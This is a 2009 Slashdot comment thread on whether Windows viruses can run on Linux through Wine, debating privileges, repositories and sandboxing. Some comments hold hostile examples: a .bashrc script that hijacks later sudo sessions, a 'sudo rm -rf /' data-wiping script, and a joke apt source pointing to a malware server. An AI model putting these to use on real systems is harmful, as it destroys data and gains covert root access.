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Security Windows Wine Linux

Now Linux Can Get Viruses, Via Wine 343

Posted by timothy
from the many-humans-do-the-same dept.
fsufitch writes "Wine has advanced enough to make Linux not immune to Windows viruses. However, just like many Wine applications, it takes a bit of effort to get the program off the ground. Also, just like some Windows programs running via Wine, not all features may work — in this case, the crippling of the system, immunity to the task manager, identity theft, etc."
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Now Linux Can Get Viruses, Via Wine

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  • marketshare (Score:3, Insightful)

    by sopssa (1498795) * <sopssa@email.com> on Saturday October 24, 2009 @01:32PM (#29858417) Journal

    Haven't it always been pretty clear that Wine could run Windows viruses, as long as they don't use some weird low-level tricks (which admittedly many do)?

    But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

    As long as the OS isn't completely locked down from the user, there will be malware. Windows, Mac, or Linux cant defend you from that. But none of us really want a locked down OS. And as long as the users are stupid their computers will get infected.

    It's just about the marketshare.

    • Re: (Score:3, Funny)

      Haven't it always been pretty clear that Wine could run Microsoft Office, as long as they don't use some weird low-level tricks (which admittedly it does)?

      But for that matter, Linux doesn't have MS Office only because it's desktop share is next to nothing (not the same amount atleast, there are Linux office suites out too). Mac OSX has been getting more and more office suites lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

      As long as the OS isn't completel

      • by AliasMarlowe (1042386) on Saturday October 24, 2009 @02:12PM (#29858719) Journal
        So WINE can get a virus intended for Windows, if you jump through some hoops to help the virus along. Color me unworried.

        What can a Windows-targeted virus in WINE do to a Linux system, other than hang around looking impotent? Most of the target DLLs and other windows hidey-holes don't exist in WINE. Even if it finds a place to lurk, it's unlikely that it could hit the Linux system files or boot loader, or perform keylogging outside WINE or snoop on private files. A very crude "wipe drive C:" type virus might molest your WINE environment (your data files are elsewhere, of course), but that's about all. Even if the virus were specifically tailored for WINE on Linux, a successful attack would rely on user stupidity even more blatant than Windows viruses must depend on.

        TFA even commented on how easy it is to dispose of the malware, even after spending some effort helping it to limp onto your system.
        • The beauty of wine, is that you can configure multiple wine instances which are segregated from each other, so a virus infecting one won't affect another... Also, since wine is a userland program which is only invoked at the user's request, any malware shouldn't be able to make itself load at boot.

          Incidentally, small desktop marketshare is not the only reason, windows has traditionally been more susceptible to viruses due to various design decisions which don't apply to linux, various factors like hiding of file extensions, users being admin by default, files being executable purely based on their filename (linux users have to chmod something first), and the basic fact that windows has its origins in a single user gui addon for dos which had no concept of security whatsoever (yes i know nt does, but they grafted the old 9x interface and apis on top, which fundamentally weakened the security model inherent in nt).

          • You want to know why Linux don't get viruses? You don't get the "Velma" users, that's why. I have a customer we have nicknamed the "walking disaster area" because she will click on ANYTHING that pretends to be a screensaver or comes from one of her friends email addresses, I don't care if the antivirus tries to throw itself between her and the .exe. Just as I had a customer that you could send him ANYTHING with the word 'lesbian" in it, and he would do what? yep, he would run it. .Exe, .VBS, you name it, all it had to do was have lesbian somewhere in the title.

            So don't worry, you Linux guys get the "Velma" users I'm quite sure your good friends in Nigeria, the RBN, and China will be cooking up "happy_screensaver.sh" and "hot_lesbians_vid.sh" and the clueless will happily run it and spread bugs like the clap. Trust me, as a PC repair guy for more years than I care to count a good 999/1000 Windows bugs can be traced back to PEBKAC.

            • Re: (Score:3, Insightful)

              by skiman1979 (725635)

              Sure, but since we Linux users don't normally run as root, that happy_screensaver.sh will be met with various 'access denied' errors. The script will have to include various privilege elevation exploits in it to affect the system.

              Then again, the data that most users care about is their own data, their pictures, videos, documents, not_pr0n folder, things like that. Malware on any system won't have to do anything 'special' to get to that data. So of course we just have to resort to telling users 'don't be

        • by Korin43 (881732) on Saturday October 24, 2009 @04:05PM (#29859673) Homepage
          His command is actually even more complicated than it needs to be (deleting wine and reinstalling it). rm -rf ~/.wine && wine will delete the wine folder and rebuild it without the added pointlessness of reinstalling the binaries.
    • Re:marketshare (Score:5, Insightful)

      by sakdoctor (1087155) on Saturday October 24, 2009 @01:38PM (#29858455) Homepage

      But none of us really want a locked down OS

      WTF?
      Microsoft totally fucked up the principle of least privilege from day one. If they hadn't, the damage done by viruses/worms in the history of personal computing, would have been an order of magnitude less.

      • Re:marketshare (Score:5, Insightful)

        by bhtooefr (649901) <bhtooefr&bhtooefr,org> on Saturday October 24, 2009 @02:39PM (#29858923) Homepage Journal

        The problem is, for a home computer, you are your own sysadmin.

        And then the dancing bunnies problem comes into play.

        User: "Oooh, I can download this to see dancing bunnies." *downloads and executes malware*
        Malware: *tries to install*
        OS: "Malware needs root access to install. Please enter your root password." (Windows version of this would be "Cancel or Allow.")
        User: *enters root password*
        Malware: *infects system*
        OS: *pwned*
        User: *pwned*

        • by Nerdfest (867930) on Saturday October 24, 2009 @03:18PM (#29859253)
          Yeah ... but dancing bunnies .... it is a tough call.
        • Re: (Score:2, Redundant)

          by selven (1556643)

          Or, alternatively:

          User: Oooh, I can download this to see dancing bunnies
          ->sudo apt-get install dancingbunniez
          OS: password required
          Malware:*infects system*
          OS:*pwned*
          User:*pwned*
          User: Hey, that wasn't very nice! I'm gonna report this package and no one downloading from repositories will be harmed by it again!
          Malware:*pwned*

          • by nneonneo (911150)

            The only problem with this scenario is that it assumes that the user has been conned into adding some unchecked repositories, something which is not terribly easy to do (at the very least you have to go out of your way to do this, such as editing a configuration file, mucking with the settings in some GUI, etc.), and which a regular Joe would probably never do (since the system-default repositories are likely to be sufficient for him).

            On the other hand, the user might end up downloading a package, self-extr

        • The problem is, for a home computer, you are your own sysadmin.

          No, the problem is that home users who aren't sysadmins think they can be sysadmins. It's like selling cars to people who know nothing about engines, letting them "customise" the engine before driving it into the city, and complaining about how their spam (and other groceries) end up all over the park benches.

    • by brunes69 (86786) <slashdot@NospAm.keirstead.org> on Saturday October 24, 2009 @01:40PM (#29858475) Homepage

      The way Linux software is distributed, makes it much less likely to get a virus. You know how many applications I have downloaded from random websites in the past 2 years for my Linux system? Maybe, 2. All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.

      The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.

      • by buchner.johannes (1139593) on Saturday October 24, 2009 @04:55PM (#29860069) Homepage Journal

        You, and the majority of Linux users are delusional. You think malware is only executables. A glitch in any software package -- e.g. Firefox or OpenOffice -- would be enough to add a bash script to .bashrc (or replace the file). This can download and start all the software it wants, unless you set the /home partition noexec.
        Another attack method would be to append a script to the GNOME startup applications.

        Consider appending the following script to .bashrc (no one ever looks in there). Next time you go into your shell and do "sudo su - " or something similar, the script has root privileges (if you use sudo timeouts or no sudo password).
        #!/bin/bash

        MAXAGE=100

        while sleep 10; do

                pgrep -f -U 0 -P $PPID,$$ && {
                        # echo parent has a root owned child process
                        id=$(pgrep -f -U 0 -P $PPID,$$ | head -n1)
                        # wait $id
                        age=$(($(date +%s) - $(stat /proc/$id/ -c '%Y')))
                        if [ "$age" -lt "$MAXAGE" ]; then
                                # echo the child is young
                                # evil code here
                                sudo touch /root/you_were_hacked
                                # sudo rm -rf /etc/
                        fi
                }
        done &

        With 10+ scripting languages on the average Linux install, the attacker has plenty of choices. Linux is only safer if you use a hardened kernel, SELinux, noexec partitions and read-only binary partitions. Crackers are already laughing about the upcoming, unworried lusers that think their OS is invulnerable.

      • Re: (Score:3, Informative)

        by BikeHelmet (1437881)

        The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.

        Correct - as an educated computer user.

        Although there are two scenarios you're forgetting. One is repository/domain hijacking, and the other is something not being available except from an unknown website.

        Ex 1: PlayOnLinux (simplifies working with Wine and installing some software - not in the repositories)
        Ex 2: BackInTime (Gnome) - website disappeared a few weeks back. Domain name available for purchase.

        Anyway, as an educated Windows user, I would check review sites like cnet or betanews(or a download site

        • Re: (Score:3, Interesting)

          by the_womble (580291)

          A hijacker would also have to forge signatures.

          The other is a problem, but:

          1) It tends to be obscure stuff than only slightly geeky users want (i..e. the sort of people who know how to check things)
          2) It often comes with some way of checking (e.g. checksums) that you get the real download.
          3) A user who has downloaded one app from an untrusted site is much less likely to have downloaded malware than someone who has downloaded fifty.

    • Re:marketshare (Score:4, Insightful)

      by wizardforce (1005805) on Saturday October 24, 2009 @01:42PM (#29858495) Journal

      So what you're saying is that Linux should be just riddled with various types of malware in the server market because it is both the dominant player in that market and is a significant target considering the server market's importance. Reality seems to disagree with you.

      • Re:marketshare (Score:5, Insightful)

        by Anonymous Coward on Saturday October 24, 2009 @01:55PM (#29858611)

        To be fair, there's a significant effort to install backdoors/trojans on poorly configured linux machines, but the issue is that they're a much more difficult target as servers do not browse websites with IE nor do they open every attachment you send them via email.

        What makes most machines insecure is the users, and since a server normally has only 1 very tech-saavy user, the only openings are in poorly configured services. I know that I had phpbb for a long time, and one day I put in a game playing mod (had some goofy things like achievements and little trophies), and I got hacked via a google search.

        Fortunately the guy who installed it didn't finish off his attack by clearing his own history, and the server wasn't running as root, so he only got as far as screwing with the main page.

        To say that the server market isn't continually targeted is disingenuous. It's just harder because it isn't operated by a ton of idiots (well, most of the time anyway).

    • Re:marketshare (Score:4, Insightful)

      by 0100010001010011 (652467) on Saturday October 24, 2009 @02:16PM (#29858755)

      A link to all those hundreds of OS X viruses that are coming out?

      • Re: (Score:2, Insightful)

        by wintersdark (1635191)
        Thinking that you're safe running OSX is very foolish. It IS more secure than Windows, but it can get viruses too. As OSX increases in market share, you will find more viruses appearing for it too. It'll take a little longer to get started - Everyone got great Intro Virus Production 101 classes in grossly insecure older versions of Windows, after all. OS X is indeed a more secure operating system, but it is not an invincible one. Assuming you are and will always be safe because you're running it is a v
      • by sopssa (1498795) *

        Google query [google.com]

        • That looks like Malware. Stuff that people install voluntarily because of social engineering.

          I could put:
          -
          #!/bin/bash
          sudo rm -rf /
          -
          into a file tell you that it'll give you more free hard drive space.

          I'm talking about Viruses & Trojans. The stuff that is automated and requires 0 user interaction. The stuff that infects an XP SP1 machine with in 20 minutes of being on the internet. [securityfocus.com]

          • by sopssa (1498795) *

            Now a days you don't really get automated viruses on Windows either, I haven't got any since something like Windows 98. Most of automated infections usually come from a websites exploiting Flash or PDF too, and that's not really Windows fault.

            (* excluding whatever it was that Conficker was exploiting an year ago, but that too was patched many months before)

          • Re: (Score:2, Informative)

            by cheftw (996831)

            That looks like Malware. Stuff that people install voluntarily because of social engineering.

            I could put:
            -
            #!/bin/bash
            sudo rm -rf /
            -

            I remember reading that it's better practice to write that

            sudo rm / -rf

            since putting your switches at the end (especially on rm) makes it easier to catch stupid mistakes (like hitting return early).

            Not that in your case it's a huge deal.

            • Re:marketshare (Score:4, Informative)

              by TheRaven64 (641858) on Saturday October 24, 2009 @03:43PM (#29859465) Journal
              Except on BSD systems, which only accept arguments before other arguments. This prevents someone from putting a file called -rf in a directory, so when you run rm * the -rf won't be expanded and treated as an argument. If your system doesn't do this, then you should get into the habit of putting -- after the arguments and before the options.
              • Re:marketshare (Score:4, Insightful)

                by Zancarius (414244) on Saturday October 24, 2009 @05:25PM (#29860305) Homepage Journal

                Except on BSD systems, which only accept arguments before other arguments. This prevents someone from putting a file called -rf in a directory, so when you run rm * the -rf won't be expanded and treated as an argument.

                Which BSD?

                FreeBSD:

                [vbox:example]$ ls -l
                total 0
                [vbox:example]$ touch -- file1 file2 file3 file4 -rf
                [vbox:example]$ mkdir dir
                [vbox:example]$ ls -l
                total 2
                -rw-r--r-- 1 test test 0 Oct 24 16:16 -rf
                drwxr-xr-x 2 test test 512 Oct 24 16:16 dir
                -rw-r--r-- 1 test test 0 Oct 24 16:16 file1
                -rw-r--r-- 1 test test 0 Oct 24 16:16 file2
                -rw-r--r-- 1 test test 0 Oct 24 16:16 file3
                -rw-r--r-- 1 test test 0 Oct 24 16:16 file4
                [vbox:example]$ rm *
                [vbox:example]$ ls -l
                total 0
                -rw-r--r-- 1 test test 0 Oct 24 16:16 -rf

                I assume you're talking about a specific shell or rm binary--AFAIK, they all exhibit the same behavior in recent releases.

    • not just marketshare (Score:5, Interesting)

      by RiotingPacifist (1228016) on Saturday October 24, 2009 @02:22PM (#29858799)

      Ubuntu 9.10 will start sandboxing desktop programs (starts with xpdf i think), other distros do already/will follow. I think that sandboxing can (and if required will) criple malwares abilities (e.g can't listen on network ports, can't insert itself to bootsequence, can't touch chrome tabs that are connected to https sites) leaving them unable to do most malwarey things without permission and can work like an AV that is designed right (e.g warn users that they are about to do something very stupid, only when they are not everytime they run a 3rd party app/widget, without having to scan binaries)

      • Re: (Score:3, Insightful)

        by lukas84 (912874)

        You mean just like Internet Explorer has been doing since the End of 2006?

        • You mean just like Internet Explorer has been doing since the End of 2006?

          Hahhah, no, certainly not like Internet Explorer has been doing.

        • Re: (Score:3, Interesting)

          To an extent yes, (seriously mods, moding funny because you disagree?), however AFAIK IEs implementation is in IE not at system level, so it cannot be applied to anything but IE & plugins. OFC this isn't to say that it can't rigorous sandboxing can't be implemented in windows, just that the tech is already in Linux, it just needs the configuration and UI to move it to the dekstop, IMO this would come if there was demand.

    • Re: (Score:3, Interesting)

      Think of it from a the perspective of the imps making the viruses (and no, it's not 'virii'). Pretend you're a spineless asshole that wants to cause as much damage as possible. Do you use widespread tools to make a Windows virus with relative ease and hit the biggest user base, or do you spend much more time finding vulerabilities in better OS's and hit a much smaller user base?

      99 times out of 100 it's the former scenario that plays out. Doesn't mean you needn't run anti-virus software on OS X, for examp

    • Re: (Score:2, Interesting)

      by zigmeister (1281432)
      I mostly agree. However Linux (and Mac) are much more immune to what are strictly viruses. What they are not much more immune to are trojans*, which I think constitute ~80-90% of infected Windows desktops. Here's my theory to dispel the myth of how robust Linux is(when in the hands of a typical user): Write a malware program that is a variant on the dancing bunnies. Put it up for download. User must have dancing bunnies or else. User clicks to download, then selects Open with Package Manager. User enters ro
    • Re:marketshare (Score:5, Insightful)

      by Runaway1956 (1322357) * on Saturday October 24, 2009 @03:46PM (#29859485) Homepage Journal

      "But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing"

      I keep hearing that. Everyone says it so it must be true. But, I'm mindful of the fact that only a handful of viruses have EVER been written for Linux, and that the User can't infect the underlying system. It takes Root access to do so, something that is only now beginning to be true for Windows.

      It seems that Windows is improving it's security model - but they still haven't caught up with Linux, despite what the fanboys might have to say. Unlike XP, it has always been possible to lock the User down pretty tightly, but still allow User to play any game on the system. More, it has almost always been possible to allow a User to install his games and applications in User Space. That isn't possible with Windows, even with Win 7. When I can create a dozen users, each of whom allows serious infections WITHIN HIS OWN ACCOUNT, but the Admin account remains untouched and unharmed, THEN Windows will be well on the road to having a meaningful security model.

      Whatever - I'll believe the basic premise that Linux would be just as vulnerable as Windows if it had market share when I see it. To me, it seems the structure and the philosophy of Linux contradicts what common "wisdom" says.

      • Re: (Score:3, Interesting)

        by MichaelSmith (789609)

        My wife runs ubuntu on her laptop. He is away in Malaysia at the moment taking care of family business and she needed to get online. So she goes to this internet cafe and they give her a CAT5 cable which she plugs in. I have set her up with a VPN so comms are secure. She thinks something is wrong so she asks for help. The internet cafe people start stuffing around with network interfaces and she types her password in for them. So now all I know is that she gave these people root access when she had no idea

    • Re:marketshare (Score:5, Insightful)

      by evilviper (135110) on Saturday October 24, 2009 @04:04PM (#29859665) Journal

      As long as the OS isn't completely locked down from the user, there will be malware.

      If you operate as a non-privileged user, and there aren't gaping local root exploits, malware is pretty damn toothless.

      Sure, it could still send out some e-mails, record your keystrokes, etc., but it will show up in `ps` just like any other process, and it will have to launch itself from a few standard few locations available, where it will be easy to find, and stop from running.

      So, yes, Linux could have malware, but it would be the minor nuisance type, rather than the "everyone's infected, it's impossible to remove, and the internet is being brought to its knees" type.

      Additionally, the problem with Linux viruses is that people get their software from a central repository, with cryptographic checksums and the like. The world would be very different if Windows users got all their software through WindowsUpdate, instead of constantly downloading crap from random websites.

    • Re: (Score:3, Insightful)

      by 1s44c (552956)

      But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing.

      There are more than enough unix and linux machines on the net to make them a viable target yet these machines don't seem have the same problems. They do get cracked but normally due to bad PHP code or people setting guessable passwords.

      Windows doesn't get viruses because lots of people use it, it gets viruses because it has a thrown together design and it's poorly implemented.

    • by tverbeek (457094)

      Mac OSX has been getting more and more viruses lately as it's marketshare has been growing.

      [Citation needed]

    • Re: (Score:3, Insightful)

      by Hucko (998827)

      It's just about the marketshare.

      It's about the marketshare if you ignore the ratios. Macs are supposed to have ... 5% marketshare? They and the other OS have a much lower ratio of malware per install. Yes, Windows locked down should be just as secure as any other OS... but it is too easy to change its security for convenience sake --- at least up till XP. I haven't administered a network (or even a machine) of Windows Vista and above, so they may be much better for all I know.

    • Re: (Score:3, Insightful)

      by donaldm (919619)

      But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

      I suppose 20 to 60 million Linux desktops world wide is next to nothing and I have two of them, however the main reason why Linux distributions are difficult to write viruses for is because most distributions insist on you working as a normal user and not with elevated privileges like you have with MS Windows distributions. Writing a virus for Linux or Unix for that matter is easy however it requires the user to deliberately run the mall-ware and running it with normal user privileges is next to useless. Ok

  • It's like a what? (Score:4, Interesting)

    by cjfs (1253208) on Saturday October 24, 2009 @01:40PM (#29858471) Homepage Journal

    A virus run in Wine is akin to taking a ferocious tiger out of the jungle, paralyzing it, then hooking up all of its nerve endings to virtual jungle simulator. It's not a perfect simulation, though, so the jungle maybe doesn't look right, and plus there's an omnipotent power that can change anything that goes on in the simulation, or even destroy it and the tiger's consciousness with a few twitches of his fingers. Now that's power.

    Power that's generated by feeding the dead tigers back to other tigers so we can use their body heat to generate MORE POWER!

    On second thought, lets stick to car analogies.

  • by fluch (126140) on Saturday October 24, 2009 @01:42PM (#29858497)

    This is a lonesome linux virus. Please add

    deb http://malware.server.ru/debian [server.ru] experimental non-free

    to your /etc/apt/sources.list and excecute "apt-get my-first-virus" as root. Thank you very much vor your cooperation.

  • by Anonymous Coward on Saturday October 24, 2009 @01:43PM (#29858505)

    What do you expect when Linux gets drunk on Wine and wakes up with Windows it's bound to have caught something.

  • Hooray! (Score:2, Funny)

    by Greyfox (87712)
    It's like I used to not be able to get herpes, AIDS or the flu and NOW I CAN! Thanks, wine team!
  • by Interoperable (1651953) on Saturday October 24, 2009 @01:46PM (#29858533)
    I always have to configure the programs so much before they run. It really defeats the purpose of a virus if I have to configure it so much first. Once Linux can run Windows viruses with a one-very-poorly-chosen-click install process I might make the switch. Besides, I can just run my FOSS software under Windows and still have access to all of the proprietary viruses that are only made for windows.
  • Linux? (Score:2, Interesting)

    by niko9 (315647)

    Preface: I'm Debian GNU/Linux user of 10 years, but not a professional computer geek. I use GNU/Linux to get work done.

    I thought Linux was just a kernel? Should not the headline read "A Linux distribution that has Wine installed *might* be vulnerable to Windows viruses?"

  • by Ilgaz (86384) on Saturday October 24, 2009 @01:54PM (#29858597) Homepage

    If you look deeper to Apple users virtual machines (Sun Virtual Box etc.) , lots of them doesn't bother to install some free AV, a basic one saying "it is virtual anyway". When you talk about how evil things can be done while their virtual machine up and what kind of trouble they may get into if they have bad luck, they install a free AV to Windows.

    If you have trouble convincing such people, just use plain logic: It can even run some games let alone a worm/trojan/virus.

    It is not in the culture you know...

  • ...you should be able to get a virus from wine is at church.
  • Experiments (Score:4, Informative)

    by Aquaseafoam (1271478) on Saturday October 24, 2009 @02:00PM (#29858647)
    I work as a sysadmin at a company making a slow switchover to Linux, and I've experimented with this a bit. You can greatly, greatly limit the damage any virus can cause through wine by unmapping it's Z drive from the wine configuration menu. By default, wine maps / to Z. I can see why they did this, (wine can only run applications within a mapped drive) but it likely needs to be undone across the board. The best alternative would be to create a unhidden wine folder in the user's home directory and map that in wine. If Z is left mapped to /, then a windows virus can run rampant all throughout your system.
    • Re:Experiments (Score:5, Informative)

      by TheRaven64 (641858) on Saturday October 24, 2009 @03:52PM (#29859525) Journal
      A virus that is Linux-aware can escape from a WINE sandbox like this very easily. WINE handles Windows library calls, but it can not intercept system calls. If you put a Linux system call number into eax and issue interrupt 80h then you get a Linux system call, irrespective of whether it's a programme running with WINE or a native Linux program. Remember, WINE is not an emulator, it is just a loader and a set of libraries. It doesn't provide any sandboxing. WINE even provides a mechanism for allowing programs to detect if they are running under WINE, so if you can persuade a Linux user to run a program under WINE (or infect another program running under WINE) then you can do anything that the user can do. Unless, of course, you combine WINE with SELinux or some other real sandboxing mechanism.
    • Re: (Score:2, Interesting)

      by Kenz0r (900338)
      I'm a linux noob, but wouldn't using SELinux eliminate the entire problem?
      Only give the files and folders you want Wine to access the corresponding SELinux context and nothing Wine does can hurt the rest of the system.
  • by Savior_on_a_Stick (971781) <robertfranz@gmail.com> on Saturday October 24, 2009 @02:12PM (#29858721)

    Users with Office installed seem to end up documents infected with a macro virus.

    While the Macs are themselves unaffected, they pass along the infection to windows boxes.

    That's usually the point where they are found and removed, but the general lack of av for Mac (few choices and most lack functionality/accuracy) along with the perception of macs as immune means that av is rarely installed on macs.

    When it is, AV_App_X doesn't detect the malware, whereas AV_App_Y detects, but can't clean, and AV_App_Z has no realtime scanning.

    • While the Macs are themselves unaffected, they pass along the infection to windows boxes. That's usually the point where they are found and removed, but the general lack of av for Mac (few choices and most lack functionality/accuracy) along with the perception of macs as immune means that av is rarely installed on macs.

      Quite true. However, Symantic Endpoint Protection now supports OS X as well, so there's at least a decent (for business use, I'd never touch Symantec for personal use) AV program for Mac now. The hard part will be explaining to people why they need it.

      I had a user the other day when I went to work on his machine who had removed AV - I mentioned the lack of AV and he goes "Well it's just on a separate workgroup, it's not on the domain". Well that separate workgroup still had internet access (even though t

      • by mevets (322601)

        The analogy between computer virus and human virus breaks down at responsibility. MS software is incredibly susceptible to viruses (viri?) because of clear business decisions they made. Market domination is a secondary effect; opportunity plays a huge role in this.

        annecodote: after a friends car was stolen with his keys, he asked the police officer if he should change the locks on his house. The officer replied "Not to worry, if they were that ambitious, they would have a job"

        They must have known what t

  • The site is already running evil code on my computer against my permission!

    (before down-voting look at the top of TFA)

  • by gmuslera (3436) on Saturday October 24, 2009 @02:35PM (#29858891) Homepage Journal
    Thousands of Linux systems now are running windows virus. That new improvement in Wine made a lot of Linux users to intentionally install the last wine version and browse dangerous places using IE6 under it to see if they get lucky and get some virus. "I'm excited", said one linux user, "i managed to get 3 different virus, a worm, and you wont believe, my machine is now part of a botnet! Woohoo!".
  • by Hurricane78 (562437) <deleted@@@slashdot...org> on Saturday October 24, 2009 @02:42PM (#29858943)

    Yeah, it can run viruses, but "not all features may work -- in this case, the crippling of the system, immunity to the task manager, identity theft, etc.".

    So in fact, it's not a virus anymore. It's just another program. The very point of being a virus is gone. Because the security settings still hold. (Unless you are retarded enough to run a Wine program as root. But in that case you're just asking for it anyway. ^^)

    • Re: (Score:3, Insightful)

      by bendodge (998616)

      Actually, Wine refuses to run under sudo. I know this because I used to use Windows data recovery programs (that naturally needed root) in Wine on NTFS drives. It used to work surprisingly well.

  • We've seen "viruses running under Wine" stories on Slashdot before. Years before, as a matter of fact.

    BTW I love the really pathetic spin in the submission - "things don't work correctly, and that's a plus!"

  • The Linux virus via WINE, or S-WINE bug.

  • Obama has just declared the WINE Flu a boring and uninteresting, non mainstream worthless distraction from the launch of Windows 7. It runs viruses natively folks!

    Actually Windows 7 is quite good.

    Good luck Bro. -Opie

  • Wrong (Score:3, Insightful)

    by pablomme (1270790) on Saturday October 24, 2009 @03:11PM (#29859201)

    From TFA:

    If it managed to infect the Wine registry well enough that it's run automatically, I will have to go into the Wine registry to remove it manually. Or I could run a couple of simple commands:
    sudo aptitude purge wine;
    sudo aptitude install wine;

    Wrong. Wine installs stuff in ~/.wine. The above commands don't touch user directories, so he would end up with a fresh system-wide wine installation but the same malware-ridden user config.

  • See, Linux _can_ do everything Windows can do! A better Windows than Windows...where have I heard that before?

  • by Krneki (1192201)
    I hope it won't get the new sWine virus.
  • Is it possible that Wine could grow more powerful by running viruses on it, learning about how the virus interacts with Windows, and then figuring something "undocumented" about Windows from the virus? I could see Wine gaining alot of new and better functionality by learning from Windows Viruses that malware writers write. Turning every malware writer an unwitting Wine contributor.

There must be more to life than having everything. -- Maurice Sendak

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